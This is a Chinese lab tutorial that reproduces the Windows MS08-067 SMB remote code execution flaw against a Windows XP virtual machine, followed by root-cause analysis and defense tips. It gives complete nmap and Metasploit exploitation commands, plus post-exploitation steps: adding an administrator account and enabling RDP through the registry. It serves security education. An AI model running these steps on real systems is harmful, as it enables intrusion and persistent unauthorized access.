摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程

本文分享自华为云社区《Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御》,作者:eastmount 。

一.漏洞描述

MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。

当用户在受影响的系统上收到RPC请求时,该漏洞会允许远程执行代码,攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时,该漏洞可以用于蠕虫攻击。它影响了某些旧版本的Windows系统,包括:

  • Windows 2000
  • Windows XP
  • Windows Server 2003

漏洞原理:

MS08-067漏洞是通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发的。NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误(溢出),造成可被利用实施远程代码执行(Remote Code Execution)。后续部分我将分析该漏洞的CFG流程图及漏洞成因。

本文参考了很多大佬的文章,再次感谢他们。实验部分是结合自己的实践和经验讲解,如果存在错误或不足之处,也请批评和指正。

二.环境搭建

1.环境准备

  • 受害机:Windows XP SP1镜像
  • 攻击机:Kali系统

第一步,在虚拟机中安装Windows XP SP1系统和Kali系统。

第二步,虚拟机两个系统之间能够相互通信。

  • Kali:192.168.44.136
  • Win XP:192.168.44.135

第三步,打开Windows XP系统,确定445端口开启。如下图所示,在Win XP的CMD中输入“netstat -sn”查看端口445是否打开。

第四步,关闭Windows XP系统的防火墙。

做完这些初始准备之后,我们开始利用Kali系统进行漏洞复现。

2.端口详解

这里作者补充一些端口的基础知识,更有利于我们进行Web渗透实验。

(1) 端口作用

我们知道,一台拥有IP地址的主机可以提供许多服务,比如Web服务、FTP服务、SMTP服务等,这些服务完全可以通过1个IP地址来实现。那么,主机是怎么区分不同的网络服务呢?显然不能只靠IP地址,因为IP地址与网络服务的关系是一对多的关系,实际上是通过“IP地址+端口号”来区分不同的服务的。

需要注意的是,端口并不是一一对应的。比如你的电脑作为客户机访问一台WWW服务器时,WWW服务器使用“80”端口与你的电脑通信,但你的电脑则可能使用“3456”这样的端口。如下图所示:

(2) 端口的分类

端口共1-65535号,知名端口范围从0到1023,这些端口号一般固定分配给一些服务,大家尽量不要使用。比如21端口分配给FTP服务,25端号分配给SMTP邮件传输协议服务,80端口分配给HTTP服务,135端口分配给RPC远程过程调用服务等等。

动态端口的范围从1024到65535,这些端口号一般不固定分配给某个服务,也就是说许多服务都可以使用这些端口。只要运行的程序向系统提出访问网络的申请,那么系统就可以从这些端口号中分配一个供该程序使用。比如1024端口就是分配给第一个向系统发出申请的程序,在关闭程序进程后,就会释放所占用的端口号。注意,端口冲突就不能正常工作。

同时,动态端口号也常常被病毒木马程序所利用,如冰河默认连接端口号是7626、WAY 2.4连接端口号是8011、Netspy 3.0连接端口号是7306、YAI病毒连接端口号是1024等等。

(3) 常见的端口

(4) 黑客通过端口可以干什么

  • 信息收集
  • 目标探测
  • 服务判断
  • 系统判断
  • 角色分析

(5) 445端口

谢公子大佬在 “135、137、138、139和445端口” 文章中介绍过这些端口,它们都是与文件共享和打印机共享有关的端口,而且在这几个端口上经常爆发很严重的漏洞。比如2017年危害全球的永恒之蓝,就是利用的445端口。

本篇文章的445端口就是利用SMB(Server Message Block)Windows协议族,用于文件共享、打印共享的服务。445端口是一个毁誉参半的端口,有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了它,黑客们才有了可乘之机,他们能通过该端口偷偷共享你的硬盘,甚至会在悄无声息中将你的硬盘格式化掉!

总之,公开服务器打开139和445端口是一件非常危险的事情。 如果有Guest帐号,而且没有设置任何密码时,就能够被人通过因特网轻松地盗看文件。如果给该帐号设置了写入权限,甚至可以轻松地篡改文件。也就是说在对外部公开的服务器中不应该打开这些端口。通过因特网使用文件服务器就等同自杀行为,因此一定要关闭139和445端口。对于利用ADSL永久性接入因特网的客户端机器可以说也是如此。

三.利用Metasploit复现漏洞

  • 攻击机:Kali - 192.168.44.136
  • 受害机:Win XP - 192.168.44.135

第一步,利用Nmap工具扫描端口及确认该漏洞是否存在。

nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open

nmap漏扫脚本目录为“/usr/share/nmap/script/”,如下图所示,扫描结果为VULNERABLE,表示MS0808-067漏洞存在且可以利用。

或者使用 “nmap -sV -Pn 192.168.44.135” 查看目标主机开放的端口。目标机开放了135、139、445、1025、5000端口,且目标机系统为Windows XP。作为黑客,一看到XP或2003系统的445端口开放,我们就能想到轰动一时的MS08-067。

nmap  -sV -Pn 192.168.44.135

第二步,进入Msfconsole并利用search语句查找漏洞利用模块。

终端内输入msfconsole打开metasploite命令行客户端,使用search命令查找ms08-067的漏洞利用模块。

msfconsole
search ms08-067

第三步,进入漏洞模块,并查看相关的使用说明。

使用use命令选择我们要使用的利用模块。target设置为系统默认是自动定位,如果需要精确定位,可以show targets查看所有,然后进行选择。

use exploit/windows/smb/ms08_067_netapi
show options
show targets

第四步,设置攻击机、受害机信息。

# 目标机ip
set RHOST 192.168.44.135
# 端口号
set RPORT 445
# 设置payload
set payload generic/shell_bind_tcp
# 攻击机ip
set LHOST 192.168.44.136
# 设置自动类型
set target 0
# 显示配置信息
show options

第五步,运行exploit反弹shell。

此时我们成功获取了Windows XP系统的Shell,我们调用“ipconfig”查看的IP地址也是目标的“192.168.44.135”。

exploit
session 1
ipconfig
pwd

注意:Windows XP SP1系统是中文而不是英文的,需要对ms08_067_netapi_ser2003_zh.rb处理。

  • 参考:MS08-067 远程执行代码 漏洞复现 - feizianquan

第六步,在目标主机上创建文件夹及文件。

cd ..
# 创建文件夹
mkdir hacker
# 访问目录
dir
cd hacker
# 创建文件并写入内容
echo eastmount>test.txt
# 查看目标系统的基本信息
sysinfo

显示结果下图所示:

第七步,对目标XP主机进行深度提权。

# 增加普通用户
net user hacker 123456 /add
# 提升管理员权限
net localgroup administrators hacker /add

Windows DOM用户常用命令如下:

  • net user abcd 1234 /add
    新建一个用户名为abcd,密码为1234的帐户,默认为user组成员
  • net user abcd /del
    将用户名为abcd的用户删除
  • net user abcd /active:no
    将用户名为abcd的用户禁用
  • net user abcd /active:yes
    激活用户名为abcd的用户
  • net user abcd
    查看用户名为abcd的用户的情况
  • net localgroup administrators abcd /add
    将abcd账户给予管理员权限

此时被攻击的主机新增“hacker”管理员如下图所示:

第八步,开启远程连接3389端口并进行远程操作。

# 开启远程连接
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
# 查看网络端口
netstat -an
# 远程连接
rdesktop 192.168.44.135

首先查看端口,发现目标主机Windows XP并未开启3389端口。

输入命令开启远程连接端口。

接着输入“rdesktop 192.168.44.135”连接远程IP地址,并输入我们创建好的hacker用户名及密码。

输入创建的用户名hacker和密码123456回车,弹出提示框点击OK,稍等就会成功远程登录XP系统。

最后,我们还需要将新建的用户名hacker删除。写到这里,整个实验就讲解完毕。

四.常见错误及漏洞原因分析

1.常见错误

我们在运行exploit执行漏洞利用模块时,有时会有相关错误。比如一直提示“exploit completed,but no session was created”或“ConnectionRefused the connection was refused by the remote host”。需要注意:

  • Windows XP系统关闭防火墙
  • 漏洞不稳定多尝试几次

有时XP系统会提示“Generic Host Process for win32 services”错误。这是svchost.exe错误,内存溢出造成。

最终作者解决了XP系统无法提权的问题,在调用“show payloads”设置攻击载荷时,当我采用“set payload generic/shell_reverse_tcp”就会报错,最后我将Payload修改为“set payload generic/shell_bind_tcp”。

  • 反弹shell失败:set payload generic/shell_reverse_tcp
  • 反弹shell成功:set payload generic/shell_bind_tcp

如果仍然失败,可能需要换其他XP或2003系统进行尝试。祝好运~

2.漏洞成因

如果想了解该漏洞的原理知识,推荐以下三篇文章,后续作者也需要深入去分析各种漏洞的原代码。

  • https://www.cnblogs.com/justforfun12/p/5239941.html
  • https://bbs.pediy.com/thread-251219.htm
  • https://www.freebuf.com/vuls/203881.html

MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。

所谓路径规范化,就是将路径字符串中的【/】转换为【\】,同时去除相对路径【.\】和【..\】。如:
**/*/./**   =>  **\*\**
**\*\..\**  =>  **\**

在路径规范化的操作中,服务程序对路径字符串的地址空间检查存在逻辑漏洞。攻击者通过精心设计输入路径,可以在函数去除【…\】字符串时,把路径字符串中内容复制到路径串之前的地址空间中(低地址),达到覆盖函数返回地址,执行任意代码的目的。

这里通过IDA Pro打开c:\windows\system32\netapi32.dll,找到漏洞所在的NetpwPathCanonicalize函数并双击。通过观察其流程图CFG可知,此函数并没有直接进行输入路径和规范化,而是调用了下级函数CanonicalizePathName来进行路径整理,将待整理的路径字符串进行规范化,然后再保存到预先分配的输出路径缓冲区buffer中,最终造成缓冲区溢出漏洞。

五.总结

写到这里,这篇文章就介绍结束了,通过本次实验我们复现了MS08-067远程代码执行漏洞,涉及漏洞发现、验证漏洞、利用漏洞的完整过程,并利用Metasploit工具进行shell反弹及深入理解,希望对您有所帮助。如何进行防御呢?一方面关闭相关端口、安装杀毒软件和补丁,另一方面在防火墙中进行流量监测,主要是针对数据包中存在的形如"\ ** \ … \ … \ *"这样的恶意路径名进行检测,最为保险的方法是使用pcre正则去匹配。

本次实验的完整命令:

# 端口查询
nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open# 查找漏洞利用模块
msfconsole
search ms08-067# 漏洞利用
use exploit/windows/smb/ms08_067_netapi
show options
show targets# 设置相关配置信息
set RHOST 192.168.44.135
set RPORT 445
set payload generic/shell_bind_tcp
set LHOST 192.168.44.136
set target 0
show options# 反弹shell
exploit
session 1
ipconfig
pwd# 目标主机文件操作
cd ..
mkdir hacker
dir
cd hacker
echo eastmount>test.txt
sysinfo# 深度提权及远程连接操作
net user hacker 123456 /add
net localgroup administrators hacker /add
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
netstat -an
rdesktop 192.168.44.135

点击关注,第一时间了解华为云新鲜技术~

Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御相关推荐

  1. thinkphp v5.0.11漏洞_ThinkPHP5丨远程代码执行漏洞动态分析

    ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,在保持出色的性能和至简代码的同时,也注重易用性.但是简洁易操作也会出现漏洞,之前ThinkPHP官方修复了一个严重的远程代码执行漏 ...

  2. 最新系统漏洞--D-LINK DIR-3040远程代码执行漏洞

    最新系统漏洞2021年11月14日 受影响系统: D-Link DIR-3040 1.13B03 描述: D-LINK DIR-3040是中国台湾友讯(D-Link)公司的一个路由器.提供连接网络的功 ...

  3. struts2漏洞_Apache Struts2057远程代码执行漏洞复现

    网安引领时代,弥天点亮未来 0x00漏洞简述 2018年8月22日,Apache Strust2发布最新安全公告,Apache Struts2存在远程代码执行的高危漏洞(S2-057/CVE-2018 ...

  4. 【更新1.0:PoC发布】CVE-2020-1350: Windows DNS Server蠕虫级远程代码执行漏洞通告

    0x00 更新概览 2020年07月16日,360CERT监测到 FSecureLabs 发布了 PoC,可造成拒绝服务影响.本次更新标识该漏洞极易可能在短时间内出现大规模攻击态势. 具体更新详情可参 ...

  5. js word 预览_微软补丁日:Word/DHCP/LNK远程代码执行漏洞预警

    漏洞背景 2019年8月14日微软发布的安全更新中除了RDP漏洞还涵盖了针对多个远程代码执行高危漏洞的修复. Microsoft Word远程代码执行漏洞, 漏洞编号CVE-2019-0585. Wi ...

  6. 安全修复之Web——Spring Framework 远程代码执行漏洞

    安全修复之Web--Spring Framework 远程代码执行漏洞 背景 日常我们开发时,会遇到各种各样的奇奇怪怪的问题(踩坑o(╯□╰)o),这个常见问题系列就是我日常遇到的一些问题的记录文章系 ...

  7. 网络安全预警通报:更新微软远程代码执行漏洞补丁

    新浪数码讯1月17日下午消息,北京网络与信息安全信息通报中心通报,近日,微软公司(MicroSoft)官方发布了三个远程代码执漏洞的安全更新补丁.其中包括Microsoft Exchange软件的内存 ...

  8. wordpress php执行短代码_【漏洞通告】PHP远程代码执行漏洞(CVE-2019-11043)

    1.综述2019年9月14日至18举办的 Real World CTF中,国外安全研究员 Andrew Danau 在解决一道CTF题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常 ...

  9. rmi远程代码执行漏洞_【漏洞通告】Apache Solr远程代码执行漏洞

    1.综述 Apache Solr是美国阿帕奇(Apache)软件基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器.该产品支持层面搜索.垂直搜索.高亮显示搜索结果等. Apache Solr ...

最新文章

  1. 软件测试技术之功能测试六要素
  2. Template methed
  3. 【C++】构建栈 进栈和出栈
  4. 天猫上线“商家售后服务评价”功能,消费者体验将纳入商家考核指标
  5. [python爬虫] BeautifulSoup设置Cookie解决网站拦截并爬取蚂蚁短租
  6. 机器学习进阶-优化的近邻算法
  7. Docker 终失 C 位,开源少年缘何黑化
  8. An Overview of Cisco IOS Versions and Naming
  9. Windows 计划任务
  10. 推动数字化智能化转型 中关村数智经济发展论坛成功举办
  11. 框架原理第三讲,RTTCreate,运行时类型创建.(以MFC框架讲解)
  12. Hyper-V复制配置前评估
  13. 第五届电气学院比赛之XXX——数码管显示模块
  14. 产品沉思录 V3.0 试读
  15. 计算机实习工作计划与实施步骤,实习工作计划与实施步骤范文
  16. 美丽的花蝴蝶 动人的海豚音 天后[Mariah Carey玛丽亚·凯莉]全集
  17. 十大机器学习算法(一)
  18. 海信android4.4.2电视怎么投屏,海信电视怎么投屏
  19. LeetCode刷题日记2022-2-28/1601. 最多可达成的换楼请求数目-排列组合
  20. 在家待了10多天,感觉自己真的不太适合居家

热门文章

  1. google protobuf使用
  2. matlab 设置为匿名函数,MATLAB匿名函数
  3. vb 解析ini文件_PHP文件及运行(适合PHP初学者)
  4. php修改隐藏域非法提交,PHP get、post变量放在表单隐藏域示例
  5. java静态变量重复new_Java非静态成员变量之死循环(详解)
  6. 逆向透视表 python_Python实现数据的透视表
  7. ubuntu 上NVIDIA驱动和CUDA9.0 的坑之一二
  8. 阿里云服务器内核编译升级
  9. IOS::.a的生成,以及模拟器和真机.a 的合并
  10. 转:漫画 我讨厌阅读别人的代码